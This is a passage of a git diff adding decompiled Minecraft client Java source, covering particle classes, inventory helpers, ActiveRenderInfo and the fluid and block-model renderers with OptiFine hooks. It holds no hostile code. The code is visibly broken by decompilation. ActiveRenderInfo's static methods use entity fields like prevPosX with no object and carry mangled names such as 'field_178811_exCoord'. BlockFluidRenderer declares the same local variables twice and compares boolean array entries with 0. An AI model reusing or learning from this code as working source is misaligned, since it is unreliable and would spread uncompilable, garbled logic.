+      return new EntitySplashFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntitySuspendFX.java b/src/minecraft/net/minecraft/client/particle/EntitySuspendFX.java
new file mode 100644
index 0000000..db27f3e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntitySuspendFX.java
@@ -0,0 +1,56 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.world.World;
+
+public class EntitySuspendFX extends EntityFX
+{
+  private static final String __OBFID = "CL_00000928";
+  
+  protected EntitySuspendFX(World worldIn, double p_i1231_2_, double p_i1231_4_, double p_i1231_6_, double p_i1231_8_, double p_i1231_10_, double p_i1231_12_)
+  {
+    super(worldIn, p_i1231_2_, p_i1231_4_ - 0.125D, p_i1231_6_, p_i1231_8_, p_i1231_10_, p_i1231_12_);
+    particleRed = 0.4F;
+    particleGreen = 0.4F;
+    particleBlue = 0.7F;
+    setParticleTextureIndex(0);
+    setSize(0.01F, 0.01F);
+    particleScale *= (rand.nextFloat() * 0.6F + 0.2F);
+    motionX = (p_i1231_8_ * 0.0D);
+    motionY = (p_i1231_10_ * 0.0D);
+    motionZ = (p_i1231_12_ * 0.0D);
+    particleMaxAge = ((int)(16.0D / (Math.random() * 0.8D + 0.2D)));
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    moveEntity(motionX, motionY, motionZ);
+    
+    if (worldObj.getBlockState(new net.minecraft.util.BlockPos(this)).getBlock().getMaterial() != net.minecraft.block.material.Material.water)
+    {
+      setDead();
+    }
+    
+    if (particleMaxAge-- <= 0)
+    {
+      setDead();
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002579";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntitySuspendFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/IParticleFactory.java b/src/minecraft/net/minecraft/client/particle/IParticleFactory.java
new file mode 100644
index 0000000..17d85d8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/IParticleFactory.java
@@ -0,0 +1,8 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.world.World;
+
+public abstract interface IParticleFactory
+{
+  public abstract EntityFX func_178902_a(int paramInt, World paramWorld, double paramDouble1, double paramDouble2, double paramDouble3, double paramDouble4, double paramDouble5, double paramDouble6, int... paramVarArgs);
+}
diff --git a/src/minecraft/net/minecraft/client/particle/MobAppearance.java b/src/minecraft/net/minecraft/client/particle/MobAppearance.java
new file mode 100644
index 0000000..5d229e8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/MobAppearance.java
@@ -0,0 +1,87 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class MobAppearance extends EntityFX
+{
+  private EntityLivingBase field_174844_a;
+  private static final String __OBFID = "CL_00002594";
+  
+  protected MobAppearance(World worldIn, double p_i46283_2_, double p_i46283_4_, double p_i46283_6_)
+  {
+    super(worldIn, p_i46283_2_, p_i46283_4_, p_i46283_6_, 0.0D, 0.0D, 0.0D);
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F);
+    motionX = (this.motionY = this.motionZ = 0.0D);
+    particleGravity = 0.0F;
+    particleMaxAge = 30;
+  }
+  
+  public int getFXLayer()
+  {
+    return 3;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (field_174844_a == null)
+    {
+      EntityGuardian var1 = new EntityGuardian(worldObj);
+      var1.func_175465_cm();
+      field_174844_a = var1;
+    }
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    if (field_174844_a != null)
+    {
+      RenderManager var9 = Minecraft.getMinecraft().getRenderManager();
+      var9.func_178628_a(EntityFX.interpPosX, EntityFX.interpPosY, EntityFX.interpPosZ);
+      float var10 = 0.42553192F;
+      float var11 = (particleAge + p_180434_3_) / particleMaxAge;
+      GlStateManager.depthMask(true);
+      GlStateManager.enableBlend();
+      GlStateManager.enableDepth();
+      GlStateManager.blendFunc(770, 771);
+      float var12 = 240.0F;
+      OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var12, var12);
+      GlStateManager.pushMatrix();
+      float var13 = 0.05F + 0.5F * MathHelper.sin(var11 * 3.1415927F);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, var13);
+      GlStateManager.translate(0.0F, 1.8F, 0.0F);
+      GlStateManager.rotate(180.0F - rotationYaw, 0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(60.0F - 150.0F * var11 - rotationPitch, 1.0F, 0.0F, 0.0F);
+      GlStateManager.translate(0.0F, -0.4F, -1.5F);
+      GlStateManager.scale(var10, var10, var10);
+      field_174844_a.rotationYaw = (field_174844_a.prevRotationYaw = 0.0F);
+      field_174844_a.rotationYawHead = (field_174844_a.prevRotationYawHead = 0.0F);
+      var9.renderEntityWithPosYaw(field_174844_a, 0.0D, 0.0D, 0.0D, 0.0F, p_180434_3_);
+      GlStateManager.popMatrix();
+      GlStateManager.enableDepth();
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002593";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new MobAppearance(worldIn, p_178902_3_, p_178902_5_, p_178902_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/player/inventory/ContainerLocalMenu.java b/src/minecraft/net/minecraft/client/player/inventory/ContainerLocalMenu.java
new file mode 100644
index 0000000..74d097f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/player/inventory/ContainerLocalMenu.java
@@ -0,0 +1,61 @@
+package net.minecraft.client.player.inventory;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.InventoryBasic;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.ILockableContainer;
+import net.minecraft.world.LockCode;
+
+public class ContainerLocalMenu extends InventoryBasic implements ILockableContainer
+{
+  private String field_174896_a;
+  private Map field_174895_b = Maps.newHashMap();
+  private static final String __OBFID = "CL_00002570";
+  
+  public ContainerLocalMenu(String p_i46276_1_, IChatComponent p_i46276_2_, int p_i46276_3_)
+  {
+    super(p_i46276_2_, p_i46276_3_);
+    field_174896_a = p_i46276_1_;
+  }
+  
+  public int getField(int id)
+  {
+    return field_174895_b.containsKey(Integer.valueOf(id)) ? ((Integer)field_174895_b.get(Integer.valueOf(id))).intValue() : 0;
+  }
+  
+  public void setField(int id, int value)
+  {
+    field_174895_b.put(Integer.valueOf(id), Integer.valueOf(value));
+  }
+  
+  public int getFieldCount()
+  {
+    return field_174895_b.size();
+  }
+  
+  public boolean isLocked()
+  {
+    return false;
+  }
+  
+  public void setLockCode(LockCode code) {}
+  
+  public LockCode getLockCode()
+  {
+    return LockCode.EMPTY_CODE;
+  }
+  
+  public String getGuiID()
+  {
+    return field_174896_a;
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/player/inventory/LocalBlockIntercommunication.java b/src/minecraft/net/minecraft/client/player/inventory/LocalBlockIntercommunication.java
new file mode 100644
index 0000000..0c1acdf
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/player/inventory/LocalBlockIntercommunication.java
@@ -0,0 +1,51 @@
+package net.minecraft.client.player.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.IInteractionObject;
+
+public class LocalBlockIntercommunication implements IInteractionObject
+{
+  private String field_175126_a;
+  private IChatComponent field_175125_b;
+  private static final String __OBFID = "CL_00002571";
+  
+  public LocalBlockIntercommunication(String p_i46277_1_, IChatComponent p_i46277_2_)
+  {
+    field_175126_a = p_i46277_1_;
+    field_175125_b = p_i46277_2_;
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+  public String getName()
+  {
+    return field_175125_b.getUnformattedText();
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return true;
+  }
+  
+  public String getGuiID()
+  {
+    return field_175126_a;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return field_175125_b;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/ActiveRenderInfo.java b/src/minecraft/net/minecraft/client/renderer/ActiveRenderInfo.java
new file mode 100644
index 0000000..e2f9a98
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/ActiveRenderInfo.java
@@ -0,0 +1,134 @@
+package net.minecraft.client.renderer;
+
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLiquid;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.util.glu.GLU;
+
+public class ActiveRenderInfo
+{
+  private static final IntBuffer field_178814_a = GLAllocation.createDirectIntBuffer(16);
+  private static final FloatBuffer field_178812_b = GLAllocation.createDirectFloatBuffer(16);
+  private static final FloatBuffer field_178813_c = GLAllocation.createDirectFloatBuffer(16);
+  private static final FloatBuffer field_178810_d = GLAllocation.createDirectFloatBuffer(3);
+  private static Vec3 field_178811_e = new Vec3(0.0D, 0.0D, 0.0D);
+  
+
+  private static float rotationX;
+  
+
+  private static float rotationXZ;
+  
+
+  private static float rotationZ;
+  
+
+  private static float rotationYZ;
+  
+
+  private static float rotationXY;
+  
+
+  private static final String __OBFID = "CL_00000626";
+  
+
+
+  public ActiveRenderInfo() {}
+  
+
+  public static void updateRenderInfo(EntityPlayer p_74583_0_, boolean p_74583_1_)
+  {
+    GlStateManager.getFloat(2982, field_178812_b);
+    GlStateManager.getFloat(2983, field_178813_c);
+    GL11.glGetInteger(2978, field_178814_a);
+    float var2 = (field_178814_a.get(0) + field_178814_a.get(2)) / 2;
+    float var3 = (field_178814_a.get(1) + field_178814_a.get(3)) / 2;
+    GLU.gluUnProject(var2, var3, 0.0F, field_178812_b, field_178813_c, field_178814_a, field_178810_d);
+    field_178811_e = new Vec3(field_178810_d.get(0), field_178810_d.get(1), field_178810_d.get(2));
+    int var4 = p_74583_1_ ? 1 : 0;
+    float var5 = rotationPitch;
+    float var6 = rotationYaw;
+    rotationX = MathHelper.cos(var6 * 3.1415927F / 180.0F) * (1 - var4 * 2);
+    rotationZ = MathHelper.sin(var6 * 3.1415927F / 180.0F) * (1 - var4 * 2);
+    rotationYZ = -rotationZ * MathHelper.sin(var5 * 3.1415927F / 180.0F) * (1 - var4 * 2);
+    rotationXY = rotationX * MathHelper.sin(var5 * 3.1415927F / 180.0F) * (1 - var4 * 2);
+    rotationXZ = MathHelper.cos(var5 * 3.1415927F / 180.0F);
+  }
+  
+  public static Vec3 func_178806_a(Entity p_178806_0_, double p_178806_1_)
+  {
+    double var3 = prevPosX + (posX - prevPosX) * p_178806_1_;
+    double var5 = prevPosY + (posY - prevPosY) * p_178806_1_;
+    double var7 = prevPosZ + (posZ - prevPosZ) * p_178806_1_;
+    double var9 = var3 + field_178811_exCoord;
+    double var11 = var5 + field_178811_eyCoord;
+    double var13 = var7 + field_178811_ezCoord;
+    return new Vec3(var9, var11, var13);
+  }
+  
+  public static Block func_180786_a(World worldIn, Entity p_180786_1_, float p_180786_2_)
+  {
+    Vec3 var3 = func_178806_a(p_180786_1_, p_180786_2_);
+    BlockPos var4 = new BlockPos(var3);
+    IBlockState var5 = worldIn.getBlockState(var4);
+    Block var6 = var5.getBlock();
+    
+    if (var6.getMaterial().isLiquid())
+    {
+      float var7 = 0.0F;
+      
+      if ((var5.getBlock() instanceof BlockLiquid))
+      {
+        var7 = BlockLiquid.getLiquidHeightPercent(((Integer)var5.getValue(BlockLiquid.LEVEL)).intValue()) - 0.11111111F;
+      }
+      
+      float var8 = var4.getY() + 1 - var7;
+      
+      if (yCoord >= var8)
+      {
+        var6 = worldIn.getBlockState(var4.offsetUp()).getBlock();
+      }
+    }
+    
+    return var6;
+  }
+  
+  public static Vec3 func_178804_a()
+  {
+    return field_178811_e;
+  }
+  
+  public static float func_178808_b()
+  {
+    return rotationX;
+  }
+  
+  public static float func_178809_c()
+  {
+    return rotationXZ;
+  }
+  
+  public static float func_178803_d()
+  {
+    return rotationZ;
+  }
+  
+  public static float func_178805_e()
+  {
+    return rotationYZ;
+  }
+  
+  public static float func_178807_f()
+  {
+    return rotationXY;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/BlockFluidRenderer.java b/src/minecraft/net/minecraft/client/renderer/BlockFluidRenderer.java
new file mode 100644
index 0000000..071df1a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/BlockFluidRenderer.java
@@ -0,0 +1,297 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLiquid;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+import optifine.RenderEnv;
+
+public class BlockFluidRenderer
+{
+  private TextureAtlasSprite[] field_178272_a = new TextureAtlasSprite[2];
+  private TextureAtlasSprite[] field_178271_b = new TextureAtlasSprite[2];
+  private static final String __OBFID = "CL_00002519";
+  
+  public BlockFluidRenderer()
+  {
+    func_178268_a();
+  }
+  
+  protected void func_178268_a()
+  {
+    TextureMap var1 = Minecraft.getMinecraft().getTextureMapBlocks();
+    field_178272_a[0] = var1.getAtlasSprite("minecraft:blocks/lava_still");
+    field_178272_a[1] = var1.getAtlasSprite("minecraft:blocks/lava_flow");
+    field_178271_b[0] = var1.getAtlasSprite("minecraft:blocks/water_still");
+    field_178271_b[1] = var1.getAtlasSprite("minecraft:blocks/water_flow");
+  }
+  
+  public boolean func_178270_a(IBlockAccess p_178270_1_, IBlockState p_178270_2_, BlockPos p_178270_3_, WorldRenderer p_178270_4_)
+  {
+    BlockLiquid var5 = (BlockLiquid)p_178270_2_.getBlock();
+    var5.setBlockBoundsBasedOnState(p_178270_1_, p_178270_3_);
+    TextureAtlasSprite[] var6 = var5.getMaterial() == Material.lava ? field_178272_a : field_178271_b;
+    RenderEnv renderEnv = RenderEnv.getInstance(p_178270_1_, p_178270_2_, p_178270_3_);
+    int var7 = optifine.CustomColors.getFluidColor(p_178270_1_, p_178270_2_, p_178270_3_, renderEnv);
+    float var8 = (var7 >> 16 & 0xFF) / 255.0F;
+    float var9 = (var7 >> 8 & 0xFF) / 255.0F;
+    float var10 = (var7 & 0xFF) / 255.0F;
+    boolean var11 = var5.shouldSideBeRendered(p_178270_1_, p_178270_3_.offsetUp(), EnumFacing.UP);
+    boolean var12 = var5.shouldSideBeRendered(p_178270_1_, p_178270_3_.offsetDown(), EnumFacing.DOWN);
+    boolean[] var13 = renderEnv.getBorderFlags();
+    var13[0] = var5.shouldSideBeRendered(p_178270_1_, p_178270_3_.offsetNorth(), EnumFacing.NORTH);
+    var13[1] = var5.shouldSideBeRendered(p_178270_1_, p_178270_3_.offsetSouth(), EnumFacing.SOUTH);
+    var13[2] = var5.shouldSideBeRendered(p_178270_1_, p_178270_3_.offsetWest(), EnumFacing.WEST);
+    var13[3] = var5.shouldSideBeRendered(p_178270_1_, p_178270_3_.offsetEast(), EnumFacing.EAST);
+    
+    if ((!var11) && (!var12) && (var13[0] == 0) && (var13[1] == 0) && (var13[2] == 0) && (var13[3] == 0))
+    {
+      return false;
+    }
+    
+
+    boolean var14 = false;
+    float var15 = 0.5F;
+    float var16 = 1.0F;
+    float var17 = 0.8F;
+    float var18 = 0.6F;
+    Material var19 = var5.getMaterial();
+    float var20 = func_178269_a(p_178270_1_, p_178270_3_, var19);
+    float var21 = func_178269_a(p_178270_1_, p_178270_3_.offsetSouth(), var19);
+    float var22 = func_178269_a(p_178270_1_, p_178270_3_.offsetEast().offsetSouth(), var19);
+    float var23 = func_178269_a(p_178270_1_, p_178270_3_.offsetEast(), var19);
+    double var24 = p_178270_3_.getX();
+    double var26 = p_178270_3_.getY();
+    double var28 = p_178270_3_.getZ();
+    float var30 = 0.001F;
+    
+
+
+
+
+
+
+
+    if (var11)
+    {
+      var14 = true;
+      TextureAtlasSprite var31 = var6[0];
+      float var32 = (float)BlockLiquid.func_180689_a(p_178270_1_, p_178270_3_, var19);
+      
+      if (var32 > -999.0F)
+      {
+        var31 = var6[1];
+      }
+      
+      p_178270_4_.setSprite(var31);
+      var20 -= var30;
+      var21 -= var30;
+      var22 -= var30;
+      var23 -= var30;
+      float var54;
+      float var33;
+      float var37;
+      float var34;
+      float var52; float var35; float var53; float var36; float var54; if (var32 < -999.0F)
+      {
+        float var33 = var31.getInterpolatedU(0.0D);
+        float var37 = var31.getInterpolatedV(0.0D);
+        float var34 = var33;
+        float var52 = var31.getInterpolatedV(16.0D);
+        float var35 = var31.getInterpolatedU(16.0D);
+        float var53 = var52;
+        float var36 = var35;
+        var54 = var37;
+      }
+      else
+      {
+        float var55 = MathHelper.sin(var32) * 0.25F;
+        float var44 = MathHelper.cos(var32) * 0.25F;
+        float var43 = 8.0F;
+        var33 = var31.getInterpolatedU(8.0F + (-var44 - var55) * 16.0F);
+        var37 = var31.getInterpolatedV(8.0F + (-var44 + var55) * 16.0F);
+        var34 = var31.getInterpolatedU(8.0F + (-var44 + var55) * 16.0F);
+        var52 = var31.getInterpolatedV(8.0F + (var44 + var55) * 16.0F);
+        var35 = var31.getInterpolatedU(8.0F + (var44 + var55) * 16.0F);
+        var53 = var31.getInterpolatedV(8.0F + (var44 - var55) * 16.0F);
+        var36 = var31.getInterpolatedU(8.0F + (var44 - var55) * 16.0F);
+        var54 = var31.getInterpolatedV(8.0F + (-var44 - var55) * 16.0F);
+      }
+      
+      p_178270_4_.func_178963_b(var5.getMixedBrightnessForBlock(p_178270_1_, p_178270_3_));
+      p_178270_4_.func_178986_b(var16 * var8, var16 * var9, var16 * var10);
+      p_178270_4_.addVertexWithUV(var24 + 0.0D, var26 + var20, var28 + 0.0D, var33, var37);
+      p_178270_4_.addVertexWithUV(var24 + 0.0D, var26 + var21, var28 + 1.0D, var34, var52);
+      p_178270_4_.addVertexWithUV(var24 + 1.0D, var26 + var22, var28 + 1.0D, var35, var53);
+      p_178270_4_.addVertexWithUV(var24 + 1.0D, var26 + var23, var28 + 0.0D, var36, var54);
+      
+      if (var5.func_176364_g(p_178270_1_, p_178270_3_.offsetUp()))
+      {
+        p_178270_4_.addVertexWithUV(var24 + 0.0D, var26 + var20, var28 + 0.0D, var33, var37);
+        p_178270_4_.addVertexWithUV(var24 + 1.0D, var26 + var23, var28 + 0.0D, var36, var54);
+        p_178270_4_.addVertexWithUV(var24 + 1.0D, var26 + var22, var28 + 1.0D, var35, var53);
+        p_178270_4_.addVertexWithUV(var24 + 0.0D, var26 + var21, var28 + 1.0D, var34, var52);
+      }
+    }
+    
+    if (var12)
+    {
+      p_178270_4_.func_178963_b(var5.getMixedBrightnessForBlock(p_178270_1_, p_178270_3_.offsetDown()));
+      p_178270_4_.func_178986_b(var15, var15, var15);
+      float var32 = var6[0].getMinU();
+      float var33 = var6[0].getMaxU();
+      float var34 = var6[0].getMinV();
+      float var35 = var6[0].getMaxV();
+      p_178270_4_.addVertexWithUV(var24, var26, var28 + 1.0D, var32, var35);
+      p_178270_4_.addVertexWithUV(var24, var26, var28, var32, var34);
+      p_178270_4_.addVertexWithUV(var24 + 1.0D, var26, var28, var33, var34);
+      p_178270_4_.addVertexWithUV(var24 + 1.0D, var26, var28 + 1.0D, var33, var35);
+      var14 = true;
+    }
+    
+    for (int var571 = 0; var571 < 4; var571++)
+    {
+      int var581 = 0;
+      int var59 = 0;
+      
+      if (var571 == 0)
+      {
+        var59--;
+      }
+      
+      if (var571 == 1)
+      {
+        var59++;
+      }
+      
+      if (var571 == 2)
+      {
+        var581--;
+      }
+      
+      if (var571 == 3)
+      {
+        var581++;
+      }
+      
+      BlockPos var60 = p_178270_3_.add(var581, 0, var59);
+      TextureAtlasSprite var31 = var6[1];
+      p_178270_4_.setSprite(var31);
+      
+      if (var13[var571] != 0) { double var61;
+        float var36;
+        float var37;
+        double var56;
+        double var58;
+        double var57;
+        double var61;
+        if (var571 == 0)
+        {
+          float var36 = var20;
+          float var37 = var23;
+          double var56 = var24;
+          double var58 = var24 + 1.0D;
+          double var57 = var28 + var30;
+          var61 = var28 + var30;
+        } else { double var61;
+          if (var571 == 1)
+          {
+            float var36 = var22;
+            float var37 = var21;
+            double var56 = var24 + 1.0D;
+            double var58 = var24;
+            double var57 = var28 + 1.0D - var30;
+            var61 = var28 + 1.0D - var30;
+          } else { double var61;
+            if (var571 == 2)
+            {
+              float var36 = var21;
+              float var37 = var20;
+              double var56 = var24 + var30;
+              double var58 = var24 + var30;
+              double var57 = var28 + 1.0D;
+              var61 = var28;
+            }
+            else
+            {
+              var36 = var23;
+              var37 = var22;
+              var56 = var24 + 1.0D - var30;
+              var58 = var24 + 1.0D - var30;
+              var57 = var28;
+              var61 = var28 + 1.0D;
+            }
+          } }
+        var14 = true;
+        float var46 = var31.getInterpolatedU(0.0D);
+        float var47 = var31.getInterpolatedU(8.0D);
+        float var48 = var31.getInterpolatedV((1.0F - var36) * 16.0F * 0.5F);
+        float var49 = var31.getInterpolatedV((1.0F - var37) * 16.0F * 0.5F);
+        float var50 = var31.getInterpolatedV(8.0D);
+        p_178270_4_.func_178963_b(var5.getMixedBrightnessForBlock(p_178270_1_, var60));
+        float var51 = 1.0F;
+        var51 *= (var571 < 2 ? var17 : var18);
+        p_178270_4_.func_178986_b(var16 * var51 * var8, var16 * var51 * var9, var16 * var51 * var10);
+        p_178270_4_.addVertexWithUV(var56, var26 + var36, var57, var46, var48);
+        p_178270_4_.addVertexWithUV(var58, var26 + var37, var61, var47, var49);
+        p_178270_4_.addVertexWithUV(var58, var26 + 0.0D, var61, var47, var50);
+        p_178270_4_.addVertexWithUV(var56, var26 + 0.0D, var57, var46, var50);
+        p_178270_4_.addVertexWithUV(var56, var26 + 0.0D, var57, var46, var50);
+        p_178270_4_.addVertexWithUV(var58, var26 + 0.0D, var61, var47, var50);
+        p_178270_4_.addVertexWithUV(var58, var26 + var37, var61, var47, var49);
+        p_178270_4_.addVertexWithUV(var56, var26 + var36, var57, var46, var48);
+      }
+    }
+    
+    p_178270_4_.setSprite(null);
+    return var14;
+  }
+  
+
+  private float func_178269_a(IBlockAccess p_178269_1_, BlockPos p_178269_2_, Material p_178269_3_)
+  {
+    int var4 = 0;
+    float var5 = 0.0F;
+    
+    for (int var6 = 0; var6 < 4; var6++)
+    {
+      BlockPos var7 = p_178269_2_.add(-(var6 & 0x1), 0, -(var6 >> 1 & 0x1));
+      
+      if (p_178269_1_.getBlockState(var7.offsetUp()).getBlock().getMaterial() == p_178269_3_)
+      {
+        return 1.0F;
+      }
+      
+      IBlockState var8 = p_178269_1_.getBlockState(var7);
+      Material var9 = var8.getBlock().getMaterial();
+      
+      if (var9 == p_178269_3_)
+      {
+        int var10 = ((Integer)var8.getValue(BlockLiquid.LEVEL)).intValue();
+        
+        if ((var10 >= 8) || (var10 == 0))
+        {
+          var5 += BlockLiquid.getLiquidHeightPercent(var10) * 10.0F;
+          var4 += 10;
+        }
+        
+        var5 += BlockLiquid.getLiquidHeightPercent(var10);
+        var4++;
+      }
+      else if (!var9.isSolid())
+      {
+        var5 += 1.0F;
+        var4++;
+      }
+    }
+    
+    return 1.0F - var5 / var4;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/BlockModelRenderer.java b/src/minecraft/net/minecraft/client/renderer/BlockModelRenderer.java
new file mode 100644
index 0000000..5dcce83
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/BlockModelRenderer.java
@@ -0,0 +1,941 @@
+package net.minecraft.client.renderer;
+
+import java.util.BitSet;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.EnumOffsetType;
+import net.minecraft.block.BlockLeavesBase;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.texture.TextureUtil;
+import net.minecraft.client.renderer.vertex.DefaultVertexFormats;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3i;
+import net.minecraft.world.IBlockAccess;
+import optifine.BetterGrass;
+import optifine.BetterSnow;
+import optifine.Config;
+import optifine.ConnectedTextures;
+import optifine.CustomColors;
+import optifine.NaturalTextures;
+import optifine.Reflector;
+import optifine.ReflectorField;
+import optifine.RenderEnv;
+
+public class BlockModelRenderer
+{
+  private static final String __OBFID = "CL_00002518";
+  private static float aoLightValueOpaque = 0.2F;
+  
+  public static void updateAoLightValue()
+  {
+    aoLightValueOpaque = 1.0F - Config.getAmbientOcclusionLevel() * 0.8F;
+  }
+  
+  public BlockModelRenderer()
+  {
+    if (Reflector.ForgeModContainer_forgeLightPipelineEnabled.exists())
+    {
+      Reflector.setFieldValue(Reflector.ForgeModContainer_forgeLightPipelineEnabled, Boolean.valueOf(false));
+    }
+  }
+  
+  public boolean func_178259_a(IBlockAccess blockAccessIn, IBakedModel modelIn, IBlockState blockStateIn, BlockPos blockPosIn, WorldRenderer worldRendererIn)
+  {
+    Block var6 = blockStateIn.getBlock();
+    var6.setBlockBoundsBasedOnState(blockAccessIn, blockPosIn);
+    return renderBlockModel(blockAccessIn, modelIn, blockStateIn, blockPosIn, worldRendererIn, true);
+  }
+  
+  public boolean renderBlockModel(IBlockAccess blockAccessIn, IBakedModel modelIn, IBlockState blockStateIn, BlockPos blockPosIn, WorldRenderer worldRendererIn, boolean checkSides)
+  {
+    boolean var7 = (Minecraft.isAmbientOcclusionEnabled()) && (blockStateIn.getBlock().getLightValue() == 0) && (modelIn.isGui3d());
+    
+    try
+    {
+      Block var11 = blockStateIn.getBlock();
+      
+      if ((Config.isTreesSmart()) && ((blockStateIn.getBlock() instanceof BlockLeavesBase)))
+      {
+        modelIn = optifine.SmartLeaves.getLeavesModel(modelIn);
+      }
+      
+      return var7 ? renderModelAmbientOcclusion(blockAccessIn, modelIn, var11, blockStateIn, blockPosIn, worldRendererIn, checkSides) : renderModelStandard(blockAccessIn, modelIn, var11, blockStateIn, blockPosIn, worldRendererIn, checkSides);
+    }
+    catch (Throwable var111)
+    {
+      CrashReport var9 = CrashReport.makeCrashReport(var111, "Tesselating block model");
+      CrashReportCategory var10 = var9.makeCategory("Block model being tesselated");
+      CrashReportCategory.addBlockInfo(var10, blockPosIn, blockStateIn);
+      var10.addCrashSection("Using AO", Boolean.valueOf(var7));
+      throw new net.minecraft.util.ReportedException(var9);
+    }
+  }
+  
+  public boolean func_178265_a(IBlockAccess blockAccessIn, IBakedModel modelIn, Block blockIn, BlockPos blockPosIn, WorldRenderer worldRendererIn, boolean checkSides)
+  {
+    return renderModelAmbientOcclusion(blockAccessIn, modelIn, blockIn, blockAccessIn.getBlockState(blockPosIn), blockPosIn, worldRendererIn, checkSides);
+  }
+  
+  public boolean renderModelAmbientOcclusion(IBlockAccess blockAccessIn, IBakedModel modelIn, Block blockIn, IBlockState blockStateIn, BlockPos blockPosIn, WorldRenderer worldRendererIn, boolean checkSides)
+  {
+    boolean var7 = false;
+    worldRendererIn.func_178963_b(983055);
+    RenderEnv renderEnv = null;
+    EnumFacing[] var11 = EnumFacing.VALUES;
+    int var12 = var11.length;
+    
+    for (int var17 = 0; var17 < var12; var17++)
+    {
+      EnumFacing modelSnow = var11[var17];
+      List stateSnow = modelIn.func_177551_a(modelSnow);
+      
+      if (!stateSnow.isEmpty())
+      {
+        BlockPos var16 = blockPosIn.offset(modelSnow);
+        
+        if ((!checkSides) || (blockIn.shouldSideBeRendered(blockAccessIn, var16, modelSnow)))
